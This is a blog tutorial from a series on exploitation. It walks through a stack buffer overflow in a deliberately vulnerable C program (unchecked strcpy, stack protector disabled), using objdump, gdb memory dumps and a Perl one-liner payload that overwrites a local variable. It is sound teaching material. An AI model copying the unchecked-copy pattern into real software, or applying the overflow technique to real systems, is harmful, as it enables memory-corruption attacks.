Overwriting a variable

(This is part of my series on program vulnerability exploitation.)

Before going on to arbitrary code execution, we will try our hand at something more mundane: overwriting a variable. The vulnerable program which we will exploit is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int vuln(char *s)
{
    char buffer[50];
    int n = 10;
    strcpy(buffer, s);
    return n;
}

int main(int argc, char **argv)
{
    if (argc == 1) {
        fprintf(stderr, "Enter a string!\n");
        exit(EXIT_FAILURE);
    }
    int n = vuln(argv[1]);
    if (n != 11) {
        printf("Fail.\n");
        exit(EXIT_FAILURE);
    }
    printf("Win!\n");
}

So our goal is to have the function vuln() return a value of 11. We first use objdump to have a look at how the stack frame of vuln() is organised (note that we compile with the flag -fno-stack-protector, which as its name implies disables stack protections which would render our attack ineffective):

$ gcc -m32 -std=c99 -O0 -fno-stack-protector -pedantic -Wall -Wextra -o vuln1 vuln1.c
$ objdump -d vuln1 | nl
[...]
   121  08048494 <vuln>:
   122   8048494:       55                      push   ebp
   123   8048495:       89 e5                   mov    ebp,esp
   124   8048497:       83 ec 58                sub    esp,0x58
   125   804849a:       c7 45 f4 0a 00 00 00    mov    DWORD PTR [ebp-0xc],0xa
   126   80484a1:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
   127   80484a4:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
   128   80484a8:       8d 45 c2                lea    eax,[ebp-0x3e]
   129   80484ab:       89 04 24                mov    DWORD PTR [esp],eax
   130   80484ae:       e8 dd fe ff ff          call   8048390 <strcpy@plt>
   131   80484b3:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
   132   80484b6:       c9                      leave  
   133   80484b7:       c3                      ret
[...]

The start address of buffer is the first argument to strcpy(). Since arguments are put on the stack in reverse order, it is the last one that gets written on the stack before the call to strcpy(), and we see that it is at address ebp-0x3e (line 128 first computes the value ebp-0x3e and puts it in the register eax, and line 129 writes it at the appropriate location on the stack).

The variable n is stored at ebp-0xc. Indeed, we see that line 125 stores the value 0xa, which corresponds to decimal 10, at this address, and also that line 131 copies the value at this address to the register eax, which contains the return value of the function.

The stack thus looks like this (recall that the addresses go from top to bottom, if you have trouble with this you can imagine the stack as a sort of ranking table: number 1 is at the top):

|                |
+================+
|                | <- esp
+----------------+
| buffer         | <- ebp-0x3e
|                |
|                |     frame of vuln()
+----------------+
|                |
+----------------+
| n              | <- ebp-0xc
+----------------+
|                | <- ebp
+================+
|                |     frame of main()

and it is now clear how we could overwrite the value of n: the function vuln() uses the function strcpy(), which simply copies a string without checking that it will fit in the destination buffer. Since the program simply copies into buffer the string we pass as argument, if we pass a string which is longer than what buffer can hold, the program will write beyond the bounds of buffer. In other words, it will overflow it.

We can observe the program in gdb to see what happens. First we put a breakpoint just before the call to strcpy(), so we can examine the stack before and after:

$ gdb ./vuln1
Reading symbols from /home/.../vuln1...(no debugging symbols found)...done.
(gdb) disass vuln
Dump of assembler code for function vuln:
   0x08048494 <+0>:     push   ebp
   0x08048495 <+1>:     mov    ebp,esp
   0x08048497 <+3>:     sub    esp,0x58
   0x0804849a <+6>:     mov    DWORD PTR [ebp-0xc],0xa
   0x080484a1 <+13>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080484a4 <+16>:    mov    DWORD PTR [esp+0x4],eax
   0x080484a8 <+20>:    lea    eax,[ebp-0x3e]
   0x080484ab <+23>:    mov    DWORD PTR [esp],eax
   0x080484ae <+26>:    call   0x8048390 <strcpy@plt>
   0x080484b3 <+31>:    mov    eax,DWORD PTR [ebp-0xc]
   0x080484b6 <+34>:    leave  
   0x080484b7 <+35>:    ret    
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae

We then run the program with a string of appropriate length: everything will proceed normally

(gdb) run abcdefg
Starting program: /home/.../vuln1 abcdefg

Breakpoint 1, 0x080484ae in vuln ()
(gdb) x/30wx $esp
0xffffd520:     0xffffd53a      0xffffd7a5      0x00000000      0xf7ff1fec
0xffffd530:     0xffffd5e4      0x00000000      0x00000000      0xf7e50043
0xffffd540:     0x080482a8      0x00000000      0x2cb43049      0x00000001
0xffffd550:     0xffffd793      0x0000002f      0xffffd5ac      0xf7fc1ff4
0xffffd560:     0x08048550      0x08049ff4      0x00000002      0x0000000a
0xffffd570:     0xf7fc23e4      0x0000000a      0xffffd5a8      0x0804850b
0xffffd580:     0xffffd7a5      0xf7e50196      0xf7fc1ff4      0xf7e50225
0xffffd590:     0xf7feb280      0x00000000
(gdb) print $ebp
$1 = (void *) 0xffffd578
(gdb) print $ebp-0xc
$2 = (void *) 0xffffd56c
(gdb) print $ebp-0x3e
$3 = (void *) 0xffffd53a

We see our variable n with value 0xa (decimal 10) at 0xffffd56c (fourth word of the fifth line), and buffer starts at 0xffffd53a (middle of the third word of the second line, for the moment it contains random garbage). Now, after the call to strcpy():

(gdb) nexti
0x080484b3 in vuln ()
(gdb) x/30wx $esp
0xffffd520:     0xffffd53a      0xffffd7a5      0x00000000      0xf7ff1fec
0xffffd530:     0xffffd5e4      0x00000000      0x62610000      0x66656463
0xffffd540:     0x08040067      0x00000000      0x2cb43049      0x00000001
0xffffd550:     0xffffd793      0x0000002f      0xffffd5ac      0xf7fc1ff4
0xffffd560:     0x08048550      0x08049ff4      0x00000002      0x0000000a
0xffffd570:     0xf7fc23e4      0x0000000a      0xffffd5a8      0x0804850b
0xffffd580:     0xffffd7a5      0xf7e50196      0xf7fc1ff4      0xf7e50225
0xffffd590:     0xf7feb280      0x00000000

We see that the beginning of buffer now contains our string abcdefg (ASCII codes 0x61 to 0x67), and our variable n is still there where we left it, everything is all right.

Two questions remain before we can achieve our goal. The first one is easy: it is the question of how many bytes we need to write into buffer until we reach the location of the variable n. We can do the math in gdb:

(gdb) print 0x3e-0xc
$4 = 50

so we need to write 50 random bytes. The next question is what exactly to write at the memory location of n in order to give it the value 11. 11 in hexadecimal is 0x0000000b so we need to write that, but since the bytes are stored in memory in reverse order (the machine is little-endian), we actually need to write 0x0b000000. We can use Perl to easily construct the string, and we obtain finally

$ ./vuln1 $(perl -e 'print "1"x50 . "\x0b\x00\x00\x00"')
Win!

Leave a Reply

Your email address will not be published. Required fields are marked *